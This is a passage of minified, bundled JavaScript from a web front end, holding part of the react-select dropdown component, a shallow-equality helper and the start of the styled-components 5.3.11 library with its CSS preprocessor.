n=t.ref,o=t.placerProps,a=o.placement,s=o.maxHeight;return l.createElement(r,(0,u.A)({},p,L,{innerRef:n,innerProps:{onMouseDown:e.onMenuMouseDown,onMouseMove:e.onMenuMouseMove},isLoading:b,placement:a}),l.createElement(Ze,{captureEnabled:h,onTopArrive:I,onBottomArrive:A,lockEnabled:R},(function(t){return l.createElement(i,(0,u.A)({},p,{innerRef:function(n){e.getMenuListRef(n),t(n)},innerProps:{role:"listbox","aria-multiselectable":p.isMulti,id:e.getElementId("listbox")},isLoading:b,maxHeight:s,focusedOption:f}),P)})))}));return O||"fixed"===S?l.createElement(a,(0,u.A)({},p,{appendTo:O,controlElement:this.controlRef,menuPlacement:x,menuPosition:S}),T):T}},{key:"renderFormField",value:function(){var e=this,t=this.props,n=t.delimiter,o=t.isDisabled,r=t.isMulti,i=t.name,a=t.required,s=this.state.selectValue;if(a&&!this.hasValue()&&!o)return l.createElement(et,{name:i,onFocus:this.onValueInputFocus});if(i&&!o){if(r){if(n){var c=s.map((function(t){return e.getOptionValue(t)})).join(n);return l.createElement("input",{name:i,type:"hidden",value:c})}var u=s.length>0?s.map((function(t,n){return l.createElement("input",{key:"i-".concat(n),name:i,type:"hidden",value:e.getOptionValue(t)})})):l.createElement("input",{name:i,type:"hidden",value:""});return l.createElement("div",null,u)}var d=s[0]?this.getOptionValue(s[0]):"";return l.createElement("input",{name:i,type:"hidden",value:d})}}},{key:"renderLiveRegion",value:function(){var e=this.commonProps,t=this.state,n=t.ariaSelection,o=t.focusedOption,r=t.focusedValue,i=t.isFocused,a=t.selectValue,s=this.getFocusableOptions();return l.createElement(Ie,(0,u.A)({},e,{id:this.getElementId("live-region"),ariaSelection:n,focusedOption:o,focusedValue:r,isFocused:i,selectValue:a,focusableOptions:s,isAppleDevice:this.isAppleDevice}))}},{key:"render",value:function(){var e=this.getComponents(),t=e.Control,n=e.IndicatorsContainer,o=e.SelectContainer,r=e.ValueContainer,i=this.props,a=i.className,s=i.id,c=i.isDisabled,d=i.menuIsOpen,p=this.state.isFocused,f=this.commonProps=this.getCommonProps();return l.createElement(o,(0,u.A)({},f,{className:a,innerProps:{id:s,onKeyDown:this.onKeyDown},isDisabled:c,isFocused:p}),this.renderLiveRegion(),l.createElement(t,(0,u.A)({},f,{innerRef:this.getControlRef,innerProps:{onMouseDown:this.onControlMouseDown,onTouchEnd:this.onControlTouchEnd},isDisabled:c,isFocused:p,menuIsOpen:d}),l.createElement(r,(0,u.A)({},f,{isDisabled:c}),this.renderPlaceholderOrValue(),this.renderInput()),l.createElement(n,(0,u.A)({},f,{isDisabled:c}),this.renderClearIndicator(),this.renderLoadingIndicator(),this.renderIndicatorSeparator(),this.renderDropdownIndicator())),this.renderMenu(),this.renderFormField())}}],[{key:"getDerivedStateFromProps",value:function(e,t){var n=t.prevProps,o=t.clearFocusValueOnUpdate,r=t.inputIsHiddenAfterUpdate,a=t.ariaSelection,s=t.isFocused,l=t.prevWasFocused,c=t.instancePrefix,u=e.options,d=e.value,p=e.menuIsOpen,f=e.inputValue,g=e.isMulti,h=F(d),m={};if(n&&(d!==n.value||u!==n.options||p!==n.menuIsOpen||f!==n.inputValue)){var b=p?function(e,t){return lt(st(e,t))}(e,h):[],v=p?ct(st(e,h),"".concat(c,"-option")):[],w=o?function(e,t){var n=e.focusedValue,o=e.selectValue.indexOf(n);if(o>-1){if(t.indexOf(n)>-1)return n;if(o<t.length)return t[o]}return null}(t,h):null,y=function(e,t){var n=e.focusedOption;return n&&t.indexOf(n)>-1?n:t[0]}(t,b);m={selectValue:h,focusedOption:y,focusedOptionId:dt(v,y),focusableOptionsWithIds:v,focusedValue:w,clearFocusValueOnUpdate:!1}}var C=null!=r&&e!==n?{inputIsHidden:r,inputIsHiddenAfterUpdate:void 0}:{},x=a,S=s&&l;return s&&!S&&(x={value:G(g,h,h[0]||null),options:h,action:"initial-input-focus"},S=!l),"initial-input-focus"===(null==a?void 0:a.action)&&(x=null),i(i(i({},m),C),{},{prevProps:e,ariaSelection:x,prevWasFocused:S})}}]),n}(l.Component);wt.defaultProps=it,n(5655);var yt=(0,l.forwardRef)((function(e,t){var n=function(e){var t=e.defaultInputValue,n=void 0===t?"":t,o=e.defaultMenuIsOpen,r=void 0!==o&&o,u=e.defaultValue,d=void 0===u?null:u,p=e.inputValue,f=e.menuIsOpen,g=e.onChange,h=e.onInputChange,m=e.onMenuClose,b=e.onMenuOpen,v=e.value,w=(0,s.A)(e,c),y=(0,l.useState)(void 0!==p?p:n),C=(0,a.A)(y,2),x=C[0],S=C[1],O=(0,l.useState)(void 0!==f?f:r),R=(0,a.A)(O,2),E=R[0],k=R[1],I=(0,l.useState)(void 0!==v?v:d),A=(0,a.A)(I,2),P=A[0],D=A[1],M=(0,l.useCallback)((function(e,t){"function"==typeof g&&g(e,t),D(e)}),[g]),F=(0,l.useCallback)((function(e,t){var n;"function"==typeof h&&(n=h(e,t)),S(void 0!==n?n:e)}),[h]),L=(0,l.useCallback)((function(){"function"==typeof b&&b(),k(!0)}),[b]),T=(0,l.useCallback)((function(){"function"==typeof m&&m(),k(!1)}),[m]),V=void 0!==p?p:x,H=void 0!==f?f:E,$=void 0!==v?v:P;return i(i({},w),{},{inputValue:V,menuIsOpen:H,onChange:M,onInputChange:F,onMenuClose:T,onMenuOpen:L,value:$})}(e);return l.createElement(wt,(0,u.A)({ref:t},n))})),Ct=yt},2833:e=>{e.exports=function(e,t,n,o){var r=n?n.call(o,e,t):void 0;if(void 0!==r)return!!r;if(e===t)return!0;if("object"!=typeof e||!e||"object"!=typeof t||!t)return!1;var i=Object.keys(e),a=Object.keys(t);if(i.length!==a.length)return!1;for(var s=Object.prototype.hasOwnProperty.bind(t),l=0;l<i.length;l++){var c=i[l];if(!s(c))return!1;var u=e[c],d=t[c];if(!1===(r=n?n.call(o,u,d,c):void 0)||void 0===r&&u!==d)return!1}return!0}},5713:(e,t,n)=>{"use strict";n.r(t),n.d(t,{ServerStyleSheet:()=>_e,StyleSheetConsumer:()=>re,StyleSheetContext:()=>oe,StyleSheetManager:()=>ue,ThemeConsumer:()=>Me,ThemeContext:()=>De,ThemeProvider:()=>Fe,__PRIVATE__:()=>Be,createGlobalStyle:()=>$e,css:()=>ye,default:()=>Ye,isStyledComponent:()=>y,keyframes:()=>je,useTheme:()=>Ne,version:()=>x,withTheme:()=>ze});var o=n(4363),r=n(1609),i=n.n(r),a=n(2833),s=n.n(a);const l=function(e){function t(e,o,l,c,p){for(var f,g,h,m,y,x=0,S=0,O=0,R=0,E=0,M=0,L=h=f=0,V=0,H=0,$=0,j=0,_=l.length,z=_-1,N="",B="",Y="",W="";V<_;){if(g=l.charCodeAt(V),V===z&&0!==S+R+O+x&&(0!==S&&(g=47===S?10:47),R=O=x=0,_++,z++),0===S+R+O+x){if(V===z&&(0<H&&(N=N.replace(d,"")),0<N.trim().length)){switch(g){case 32:case 9:case 59:case 13:case 10:break;default:N+=l.charAt(V)}g=59}switch(g){case 123:for(f=(N=N.trim()).charCodeAt(0),h=1,j=++V;V<_;){switch(g=l.charCodeAt(V)){case 123:h++;break;case 125:h--;break;case 47:switch(g=l.charCodeAt(V+1)){case 42:case 47:e:{for(L=V+1;L<z;++L)switch(l.charCodeAt(L)){case 47:if(42===g&&42===l.charCodeAt(L-1)&&V+2!==L){V=L+1;break e}break;case 10:if(47===g){V=L+1;break e}}V=L}}break;case 91:g++;case 40:g++;case 34:case 39:for(;V++<z&&l.charCodeAt(V)!==g;);}if(0===h)break;V++}if(h=l.substring(j,V),0===f&&(f=(N=N.replace(u,"").trim()).charCodeAt(0)),64===f){switch(0<H&&(N=N.replace(d,"")),g=N.charCodeAt(1)){case 100:case 109:case 115:case 45:H=o;break;default:H=D}if(j=(h=t(o,H,h,g,p+1)).length,0<F&&(y=s(3,h,H=n(D,N,$),o,I,k,j,g,p,c),N=H.join(""),void 0!==y&&0===(j=(h=y.trim()).length)&&(g=0,h="")),0<j)switch(g){case 115:N=N.replace(C,a);case 100:case 109:case 45:h=N+"{"+h+"}";break;case 107:h=(N=N.replace(b,"$1 $2"))+"{"+h+"}",h=1===P||2===P&&i("@"+h,3)?"@-webkit-"+h+"@"+h:"@"+h;break;default:h=N+h,112===c&&(B+=h,h="")}else h=""}else h=t(o,n(o,N,$),h,c,p+1);Y+=h,h=$=H=L=f=0,N="",g=l.charCodeAt(++V);break;case 125:case 59:if(1<(j=(N=(0<H?N.replace(d,""):N).trim()).length))switch(0===L&&(f=N.charCodeAt(0),45===f||96<f&&123>f)&&(j=(N=N.replace(" ",":")).length),0<F&&void 0!==(y=s(1,N,o,e,I,k,B.length,c,p,c))&&0===(j=(N=y.trim()).length)&&(N="\0\0"),f=N.charCodeAt(0),g=N.charCodeAt(1),f){case 0:break;case 64:if(105===g||99===g){W+=N+l.charAt(V);break}default:58!==N.charCodeAt(j-1)&&(B+=r(N,f,g,N.charCodeAt(2)))}$=H=L=f=0,N="",g=l.charCodeAt(++V)}}switch(g){case 13:case 10:47===S?S=0:0===1+f&&107!==c&&0<N.length&&(H=1,N+="\0"),0<F*T&&s(0,N,o,e,I,k,B.length,c,p,c),k=1,I++;break;case 59:case 125:if(0===S+R+O+x){k++;break}default:switch(k++,m=l.charAt(V),g){case 9:case 32:if(0===R+x+S)switch(E){case 44:case 58:case 9:case 32:m="";break;default:32!==g&&(m=" ")}break;case 0:m="\\0";break;case 12:m="\\f";break;case 11:m="\\v";break;case 38:0===R+S+x&&(H=$=1,m="\f"+m);break;case 108:if(0===R+S+x+A&&0<L)switch(V-L){case 2:112===E&&58===l.charCodeAt(V-3)&&(A=E);case 8:111===M&&(A=M)}break;case 58:0===R+S+x&&(L=V);break;case 44:0===S+O+R+x&&(H=1,m+="\r");break;case 34:case 39:0===S&&(R=R===g?0:0===R?g:R);break;case 91:0===R+S+O&&x++;break;case 93:0===R+S+O&&x--;break;case 41:0===R+S+x&&O--;break;case 40:0===R+S+x&&(0===f&&(2*E+3*M==533||(f=1)),O++);break;case 64:0===S+O+R+x+L+h&&(h=1);break;case 42:case 47:if(!(0<R+x+O))switch(S){case 0:switch(2*g+3*l.charCodeAt(V+1)){case 235:S=47;break;case 220:j=V,S=42}break;case 42:47===g&&42===E&&j+2!==V&&(33===l.charCodeAt(j+2)&&(B+=l.substring(j,V+1)),m="",S=0)}}0===S&&(N+=m)}M=E,E=g,V++}if(0<(j=B.length)){if(H=o,0<F&&void 0!==(y=s(2,B,H,e,I,k,j,c,p,c))&&0===(B=y).length)return W+B+Y;if(B=H.join(",")+"{"+B+"}",0!=P*A){switch(2!==P||i(B,2)||(A=0),A){case 111:B=B.replace(w,":-moz-$1")+B;break;case 112:B=B.replace(v,"::-webkit-input-$1")+B.replace(v,"::-moz-$1")+B.replace(v,":-ms-input-$1")+B}A=0}}return W+B+Y}function n(e,t,n){var r=t.trim().split(h);t=r;var i=r.length,a=e.length;switch(a){case 0:case 1:var s=0;for(e=0===a?"":e[0]+" ";s<i;++s)t[s]=o(e,t[s],n).trim();break;default:var l=s=0;for(t=[];s<i;++s)for(var c=0;c<a;++c)t[l++]=o(e[c]+" ",r[s],n).trim()}return t}function o(e,t,n){var o=t.charCodeAt(0);switch(33>o&&(o=(t=t.trim()).charCodeAt(0)),o){case 38:return t.replace(m,"$1"+e.trim());case 58:return e.trim()+t.replace(m,"$1"+e.trim());default:if(0<1*n&&0<t.indexOf("\f"))return t.replace(m,(58===e.charCodeAt(0)?"":"$1")+e.trim())}return e+t}function r(e,t,n,o){var a=e+";",s=2*t+3*n+4*o;if(944===s){e=a.indexOf(":",9)+1;var l=a.substring(e,a.length-1).trim();return l=a.substring(0,e).trim()+l+";",1===P||2===P&&i(l,1)?"-webkit-"+l+l:l}if(0===P||2===P&&!i(a,1))return a;switch(s){case 1015:return 97===a.charCodeAt(10)?"-webkit-"+a+a:a;case 951:return 116===a.charCodeAt(3)?"-webkit-"+a+a:a;case 963:return 110===a.charCodeAt(5)?"-webkit-"+a+a:a;case 1009:if(100!==a.charCodeAt(4))break;case 969:case 942:return"-webkit-"+a+a;case 978:return"-webkit-"+a+"-moz-"+a+a;case 1019:case 983:return"-webkit-"+a+"-moz-"+a+"-ms-"+a+a;case 883:if(45===a.charCodeAt(8))return"-webkit-"+a+a;if(0<a.indexOf("image-set(",11))return a.replace(E,"$1-webkit-$2")+a;break;case 932:if(45===a.charCodeAt(4))switch(a.charCodeAt(5)){case 103:return"-webkit-box-"+a.replace("-grow","")+"-webkit-"+a+"-ms-"+a.replace("grow","positive")+a;case 115:return"-webkit-"+a+"-ms-"+a.replace("shrink","negative")+a;case 98:return"-webkit-"+a+"-ms-"+a.replace("basis","preferred-size")+a}return"-webkit-"+a+"-ms-"+a+a;case 964:return"-webkit-"+a+"-ms-flex-"+a+a;case 1023:if(99!==a.charCodeAt(8))break;return"-webkit-box-pack"+(l=a.substring(a.indexOf(":",15)).replace("flex-","").replace("space-between","justify"))+"-webkit-"+a+"-ms-flex-pack"+l+a;case 1005:return f.test(a)?a.replace(p,":-webkit-")+a.replace(p,":-moz-")+a:a;case 1e3:switch(t=(l=a.substring(13).trim()).indexOf("-")+1,l.charCodeAt(0)+l.charCodeAt(t)){case 226:l=a.replace(y,"tb");break;case 232:l=a.replace(y,"tb-rl");break;case 220:l=a.replace(y,"lr");break;default:return a}return"-webkit-"+a+"-ms-"+l+a;case 1017:if(-1===a.indexOf("sticky",9))break;case 975:switch(t=(a=e).length-10,s=(l=(33===a.charCodeAt(t)?a.substring(0,t):a).substring(e.indexOf(":",7)+1).trim()).charCodeAt(0)+(0|l.charCodeAt(7))){case 203:if(111>l.charCodeAt(8))break;case 115:a=a.replace(l,"-webkit-"+l)+";"+a;break;case 207:case 102:a=a.replace(l,"-webkit-"+(102<s?"inline-":"")+"box")+";"+a.replace(l,"-webkit-"+l)+";"+a.replace(l,"-ms-"+l+"box")+";"+a}return a+";";case 938:if(45===a.charCodeAt(5))switch(a.charCodeAt(6)){case 105:return l=a.replace("-items",""),"-webkit-"+a+"-webkit-box-"+l+"-ms-flex-"+l+a;case 115:return"-webkit-"+a+"-ms-flex-item-"+a.replace(S,"")+a;default:return"-webkit-"+a+"-ms-flex-line-pack"+a.replace("align-content","").replace(S,"")+a}break;case 973:case 989:if(45!==a.charCodeAt(3)||122===a.charCodeAt(4))break;case 931:case 953:if(!0===R.test(e))return 115===(l=e.substring(e.indexOf(":")+1)).charCodeAt(0)?r(e.replace("stretch","fill-available"),t,n,o).replace(":fill-available",":stretch"):a.replace(l,"-webkit-"+l)+a.replace(l,"-moz-"+l.replace("fill-",""))+a;break;case 962:if(a="-webkit-"+a+(102===a.charCodeAt(5)?"-ms-"+a:"")+a,211===n+o&&105===a.charCodeAt(13)&&0<a.indexOf("transform",10))return a.substring(0,a.indexOf(";",27)+1).replace(g,"$1-webkit-$2")+a}return a}function i(e,t){var n=e.indexOf(1===t?":":"{"),o=e.substring(0,3!==t?n:10);return n=e.substring(n+1,e.length-1),L(2!==t?o:o.replace(O,"$1"),n,t)}function a(e,t){var n=r(t,t.charCodeAt(0),t.charCodeAt(1),t.charCodeAt(2));return n!==t+";"?n.replace(x," or ($1)").substring(4):"("+t+")"}function s(e,t,n,o,r,i,a,s,l,u){for(var d,p=0,f=t;p<F;++p)switch(d=M[p].call(c,e,f,n,o,r,i,a,s,l,u)){case void 0:case!1:case!0:case null:break;default:f=d}if(f!==t)return f}function l(e){return void 0!==(e=e.prefix)&&(L=null,e?"function"!=typeof e?P=1:(P=2,L=e):P=0),l}function c(e,n){var o=e;if(33>o.charCodeAt(0)&&(o=o.trim()),o=[o],0<F){var r=s(-1,n,o,o,I,k,0,0,0,0);void 0!==r&&"string"==typeof r&&(n=r)}var i=t(D,o,n,0,0);return 0<F&&void 0!==(r=s(-2,i,o,o,I,k,i.length,0,0,0))&&(i=r),A=0,k=I=1,i}var u=/^\0+/g,d=/[\0\r\f]/g,p=/: */g,f=/zoo|gra/,g=/([,: ])(transform)/g,h=/,\r+?/g,m=/([\t\r\n ])*\f?&/g,b=/@(k\w+)\s*(\S*)\s*/,v=/::(place)/g,w=/:(read-only)/g,y=/[svh]\w+-[tblr]{2}/,C=/\(\s*(.*)\s*\)/g,x=/([\s\S]*?);/g,S=/-self|flex-/g,O=/[^]*?(:[rp][el]a[\w-]+)[^]*/,R=/stretch|:\s*\w+\-(?:conte|avail)/,E=/([^-])(image-set\()/,k=1,I=1,A=0,P=1,D=[],M=[],F=0,L=null,T=0;return c.use=function e(t){switch(t){case void 0:case null:F=M.length=0;break;default:if("function"==typeof t)M[F++]=t;else if("object"==typeof t)for(var n=0,o=t.length;n<o;++n)e(t[n]);else T=0|!!t}return e},c.set=l,void 0!==e&&l(e),c},c={animationIterationCount:1,borderImageOutset:1,borderImageSlice:1,borderImageWidth:1,boxFlex:1,boxFlexGroup:1,boxOrdinalGroup:1,columnCount:1,columns:1,flex:1,flexGrow:1,flexPositive:1,flexShrink:1,flexNegative:1,flexOrder:1,gridRow:1,gridRowEnd:1,gridRowSpan:1,gridRowStart:1,gridColumn:1,gridColumnEnd:1,gridColumnSpan:1,gridColumnStart:1,msGridRow:1,msGridRowSpan:1,msGridColumn:1,msGridColumnSpan:1,fontWeight:1,lineHeight:1,opacity:1,order:1,orphans:1,tabSize:1,widows:1,zIndex:1,zoom:1,WebkitLineClamp:1,fillOpacity:1,floodOpacity:1,stopOpacity:1,strokeDasharray:1,strokeDashoffset:1,strokeMiterlimit:1,strokeOpacity:1,strokeWidth:1};var u=n(1907),d=n(4146),p=n.n(d);function f(){return(f=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e}).apply(this,arguments)}var g=function(e,t){for(var n=[e[0]],o=0,r=t.length;o<r;o+=1)n.push(t[o],e[o+1]);return n},h=function(e){return null!==e&&"object"==typeof e&&"[object Object]"===(e.toString?e.toString():Object.prototype.toString.call(e))&&!(0,o.typeOf)(e)},m=Object.freeze([]),b=Object.freeze({});function v(e){return"function"==typeof e}function w(e){return e.displayName||e.name||"Component"}function y(e){return e&&"string"==typeof e.styledComponentId}var C="undefined"!=typeof process&&void 0!==process.env&&(process.env.REACT_APP_SC_ATTR||process.env.SC_ATTR)||"data-styled",x="5.3.11",S="undefined"!=typeof window&&"HTMLElement"in window,O=Boolean("boolean"==typeof SC_DISABLE_SPEEDY?SC_DISABLE_SPEEDY:"undefined"!=typeof process&&void 0!==process.env&&(void 0!==process.env.REACT_APP_SC_DISABLE_SPEEDY&&""!==process.env.REACT_APP_SC_DISABLE_SPEEDY?"false"!==process.env.REACT_APP_SC_DISABLE_SPEEDY&&process.env.REACT_APP_SC_DISABLE_SPEEDY:void 0!==process.env.SC_DISABLE_SPEEDY&&""!==process.env.SC_DISABLE_SPEEDY&&"false"!==process.env.SC_DISABLE_SPEEDY&&process.env.SC_DISABLE_SPEEDY)),R={};function E(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),o=1;o<t;o++)n[o-1]=arguments[o];throw new Error("An error occurred. See https://git.io/JUIaE#"+e+" for more information."+(n.length>0?" Args: "+n.join(", "):""))}var k=function(){function e(e){this.groupSizes=new Uint32Array(512),this.length=512,this.tag=e}var t=e.prototype;return t.indexOfGroup=function(e){for(var t=0,n=0;n<e;n++)t+=this.groupSizes[n];return t},t.insertRules=function(e,t){if(e>=this.groupSizes.length){for(var n=this.groupSizes,o=n.length,r=o;e>=r;)(r<<=1)<0&&E(16,""+e);this.groupSizes=new Uint32Array(r),this.groupSizes.set(n),this.length=r;for(var i=o;i<r;i++)this.groupSizes[i]=0}for(var a=this.indexOfGroup(e+1),s=0,l=t.length;s<l;s++)this.tag.insertRule(a,t[s])&&(this.groupSizes[e]++,a++)},t.clearGroup=function(e){if(e<this.length){var t=this.groupSizes[e],n=this.indexOfGroup(e),o=n+t;this.groupSizes[e]=0;for(var r=n;r<o;r++)this.tag.deleteRule(n)}},t.getGroup=function(e){var t="";if(e>=this.length||0===this.groupSizes[e])return t;for(var n=this.groupSizes[e],o=this.indexOfGroup(e),r=o+n,i=o;i<r;i++)t+=this.tag.getRule(i)+"/*!sc*/\n";return t},e}(),I=new Map,A=new Map,P=1,D=function(e){if(I.has(e))return I.get(e);for(;A.has(P);)P++;var t=P++;return I.set(e,t),A.set(t,e),t},M=function(e){return A.get(e)},F=function(e,t){t>=P&&(P=t+1),I.set(e,t),A.set(t,e)},L="style["+C+'][data-styled-version="5.3.11"]',T=new RegExp("^"+C+'\\.g(\\d+)\\[id="([\\w\\d-]+)"\\].*?"([^"]*)'),V=function(e,t,n){for(var o,r=n.split(","),i=0,a=r.length;i<a;i++)(o=r[i])&&e.registerName(t,o)},H=function(e,t){for(var n=(t.textContent||"").split("/*!sc*/\n"),o=[],r=0,i=n.length;r<i;r++){var a=n[r].trim();if(a){var s=a.match(T);if(s){var l=0|parseInt(s[1],10),c=s[2];0!==l&&(F(c,l),V(e,c,s[3]),e.getTag().insertRules(l,o)),o.length=0}else o.push(a)}}},$=function(){return n.nc},j=function(e){var t=document.head,n=e||t,o=document.createElement("style"),r=function(e){for(var t=e.childNodes,n=t.length;n>=0;n--){var o=t[n];if(o&&1===o.nodeType&&o.hasAttribute(C))return o}}(n),i=void 0!==r?r.nextSibling:null;o.setAttribute(C,"active"),o.setAttribute("data-styled-version","5.3.11");var a=$();return a&&o.setAttribute("nonce",a),n.insertBefore(o,i),o},_=function(){function e(e){var t=this.element=j(e);t.appendChild(document.createTextNode("")),this.sheet=function(e){if(e.sheet)return e.sheet;for(var t=document.styleSheets,n=0,o=t.length;n<o;n++){var r=t[n];if(r.ownerNode===e)return r}E(17)}(t),this.length=0}var t=e.prototype;return t.insertRule=function(e,t){try{return this.sheet.insertRule(t,e),this.length++,!0}catch(e){return!1}},t.deleteRule=function(e){this.sheet.deleteRule(e),this.length--},t.getRule=function(e){var t=this.sheet.cssRules[e];return void 0!==t&&"string"==typeof t.cssText?t.cssText:""},e}(),z=function(){function e(e){var t=this.element=j(e);this.nodes=t.childNodes,this.length=0}var t=e.prototype;return t.insertRule=function(e,t){if(e<=this.length&&e>=0){var n=document.createTextNode(t),o=this.nodes[e];return this.element.insertBefore(n,o||null),this.length++,!0}return!1},t.deleteRule=function(e){this.element.removeChild(this.nodes[e]),this.length--},t.getRule=function(e){return e<this.length?this.nodes[e].textContent:""},e}(),N=function(){function e(e){this.rules=[],this.length=0}var t=e.prototype;return t.insertRule=function(e,t){return e<=this.length&&(this.rules.splice(e,0,t),this.length++,!0)},t.deleteRule=function(e){this.rules.splice(e,1),this.length--},t.getRule=function(e){return e<this.length?this.rules[e]:""},e}(),B=S,Y={isServer:!S,useCSSOMInjection:!O},W=function(){function e(e,t,n){void 0===e&&(e=b),void 0===t&&(t={}),this.options=f({},Y,{},e),this.gs=t,this.names=new Map(n),this.server=!!e.isServer,!this.server&&S&&B&&(B=!1,function(e){for(var t=document.querySelectorAll(L),n=0,o=t.length;n<o;n++){var r=t[n];r&&"active"!==r.getAttribute(C)&&(H(e,r),r.parentNode&&r.parentNode.removeChild(r))}}(this))}e.registerId=function(e){return D(e)};var t=e.prototype;return t.reconstructWithOptions=function(t,n){return void 0===n&&(n=!0),new e(f({},this.options,{},t),this.gs,n&&this.names||void 0)},t.allocateGSInstance=function(e){return this.gs[e]=(this.gs[e]||0)+1},t.getTag=function(){return this.tag||(this.tag=(n=(t=this.options).isServer,o=t.useCSSOMInjection,r=t.target,e=n?new N(r):o?new _(r):new z(r),new k(e)));var e,t,n,o,r},t.hasNameForId=function(e,t){return this.names.has(e)&&this.names.get(e).has(t)},t.registerName=function(e,t){if(D(e),this.names.has(e))this.names.get(e).add(t);else{var n=new Set;n.add(t),this.names.set(e,n)}},t.insertRules=function(e,t,n){this.registerName(e,t),this.getTag().insertRules(D(e),n)},t.clearNames=function(e){this.names.has(e)&&this.names.get(e).clear()},t.clearRules=function(e){this.getTag().clearGroup(D(e)),this.clearNames(e)},t.clearTag=function(){this.tag=void 0},t.toString=function(){return function(e){for(var t=e.getTag(),n=t.length,o="",r=0;r<n;r++){var i=M(r);if(void 0!==i){var a=e.names.get(i),s=t.getGroup(r);if(a&&s&&a.size){var l=C+".g"+r+'[id="'+i+'"]',c="";void 0!==a&&a.forEach((function(e){e.length>0&&(c+=e+",")})),o+=""+s+l+'{content:"'+c+'"}/*!sc*/\n'}}}return o}(this)},e}(),U=/(a)(d)/gi,G=function(e){return String.fromCharCode(e+(e>25?39:97))};function q(e){var t,n="";for(t=Math.abs(e);t>52;t=t/52|0)n=G(t%52)+n;return(G(t%52)+n).replace(U,"$1-$2")}var X=function(e,t){for(var n=t.length;n;)e=33*e^t.charCodeAt(--n);return e},J=function(e){return X(5381,e)};function K(e){for(var t=0;t<e.length;t+=1){var n=e[t];if(v(n)&&!y(n))return!1}return!0}var Z=J("5.3.11"),Q=function(){function e(e,t,n){this.rules=e,this.staticRulesId="",this.isStatic=(void 0===n||n.isStatic)&&K(e),this.componentId=t,this.baseHash=X(Z,t),this.baseStyle=n,W.registerId(t)}return e.prototype.generateAndInjectStyles=function(e,t,n){var o=this.componentId,r=[];if(this.baseStyle&&r.push(this.baseStyle.generateAndInjectStyles(e,t,n)),this.isStatic&&!n.hash)if(this.staticRulesId&&t.hasNameForId(o,this.staticRulesId))r.push(this.staticRulesId);else{var i=ve(this.rules,e,t,n).join(""),a=q(X(this.baseHash,i)>>>0);if(!t.hasNameForId(o,a)){var s=n(i,"."+a,void 0,o);t.insertRules(o,a,s)}r.push(a),this.staticRulesId=a}else{for(var l=this.rules.length,c=X(this.baseHash,n.hash),u="",d=0;d<l;d++){var p=this.rules[d];if("string"==typeof p)u+=p;else if(p){var f=ve(p,e,t,n),g=Array.isArray(f)?f.join(""):f;c=X(c,g+d),u+=g}}if(u){var h=q(c>>>0);if(!t.hasNameForId(o,h)){var m=n(u,"."+h,void 0,o);t.insertRules(o,h,m)}r.push(h)}}return r.join(" ")},e}(),ee=/^\s*\/\/.*$/gm,te=[":","[",".","#"];function ne(e){var t,n,o,r,i=void 0===e?b:e,a=i.options,s=void 0===a?b:a,c=i.plugins,u=void 0===c?m:c,d=new l(s),p=[],f=function(e){function t(t){if(t)try{e(t+"}")}catch(e){}}return function(n,o,r,i,a,s,l,c,u,d){switch(n){case 1:if(0===u&&64===o.charCodeAt(0))return e(o+";"),"";break;case 2:if(0===c)return o+"/*|*/";break;case 3:switch(c){case 102:case 112:return e(r[0]+o),"";default:return o+(0===d?"/*|*/":"")}case-2:o.split("/*|*/}").forEach(t)}}}((function(e){p.push(e)})),g=function(e,o,i){return 0===o&&-1!==te.indexOf(i[n.length])||i.match(r)?e:"."+t};function h(e,i,a,s){void 0===s&&(s="&");var l=e.replace(ee,""),c=i&&a?a+" "+i+" { "+l+" }":l;return t=s,n=i,o=new RegExp("\\"+n+"\\b","g"),r=new RegExp("(\\"+n+"\\b){2,}"),d(a||!i?"":i,c)}return d.use([].concat(u,[function(e,t,r){2===e&&r.length&&r[0].lastIndexOf(n)>0&&(r[0]=r[0].replace(o,g))},f,function(e){if(-2===e){var t=p;return p=[],t}}])),h.hash=u.length?u.reduce((function(e,t){return t.name||E(15),X(e,t.name)}),5381).toString():"",h}var oe=i().createContext(),re=oe.Consumer,ie=i().createContext(),ae=(ie.Consumer,new W),se=ne();function le(){return(0,r.useContext)(oe)||ae}function ce(){return(0,r.useContext)(ie)||se}function ue(e){var t=(0,r.useState)(e.stylisPlugins),n=t[0],o=t[1],a=le(),l=(0,r.useMemo)((function(){var t=a;return e.sheet?t=e.sheet:e.target&&(t=t.reconstructWithOptions({target:e.target},!1)),e.disableCSSOMInjection&&(t=t.reconstructWithOptions({useCSSOMInjection:!1})),t}),[e.disableCSSOMInjection,e.sheet,e.target]),c=(0,r.useMemo)((function(){return ne({options:{prefix:!e.disableVendorPrefixes},plugins:n})}),[e.disableVendorPrefixes,n]);return(0,r.useEffect)((function(){s()(n,e.stylisPlugins)||o(e.stylisPlugins)}),[e.stylisPlugins]),i().createElement(oe.Provider,{value:l},i().createElement(ie.Provider,{value:c},e.children))}var de=function(){function e(e,t){var n=this;this.inject=function(e,t){void 0===t&&(t=se);var o=n.name+t.hash;e.hasNameForId(n.id,o)||e.insertRules(n.id,o,t(n.rules,o,"@keyframes"))},this.toString=function(){return E(12,String(n.name))},this.name=e,this.id="sc-keyframes-"+e,this.rules=t}return e.prototype.getName=function(e){return void 0===e&&(e=se),this.name+e.hash},e}(),pe=/([A-Z])/,fe=/([A-Z])/g,ge=/^ms-/,he=function(e){return"-"+e.toLowerCase()};function me(e){return pe.test(e)?e.replace(fe,he).replace(ge,"-ms-"):e}var be=function(e){return null==e||!1===e||""===e};function ve(e,t,n,o){if(Array.isArray(e)){for(var r,i=[],a=0,s=e.length;a<s;a+=1)""!==(r=ve(e[a],t,n,o))&&(Array.isArray(r)?i.push.apply(i,r):i.push(r));return i}return be(e)?"":y(e)?"."+e.styledComponentId:v(e)?"function"!=typeof(l=e)||l.prototype&&l.prototype.isReactComponent||!t?e:ve(e(t),t,n,o):e instanceof de?n?(e.inject(n,o),e.getName(o)):e:h(e)?function e(t,n){var o,r,i=[];for(var a in t)t.hasOwnProperty(a)&&!be(t[a])&&(Array.isArray(t[a])&&t[a].isCss||v(t[a])?i.push(me(a)+":",t[a],";"):h(t[a])?i.push.apply(i,e(t[a],a)):i.push(me(a)+": "+(o=a,(null==(r=t[a])||"boolean"==typeof r||""===r?"":"number"!=typeof r||0===r||o in c||o.startsWith("--")?String(r).trim():r+"px")+";")));return n?[n+" {"].concat(i,["}"]):i}(e):e.toString();var l}var we=function(e){return Array.isArray(e)&&(e.isCss=!0),e};function 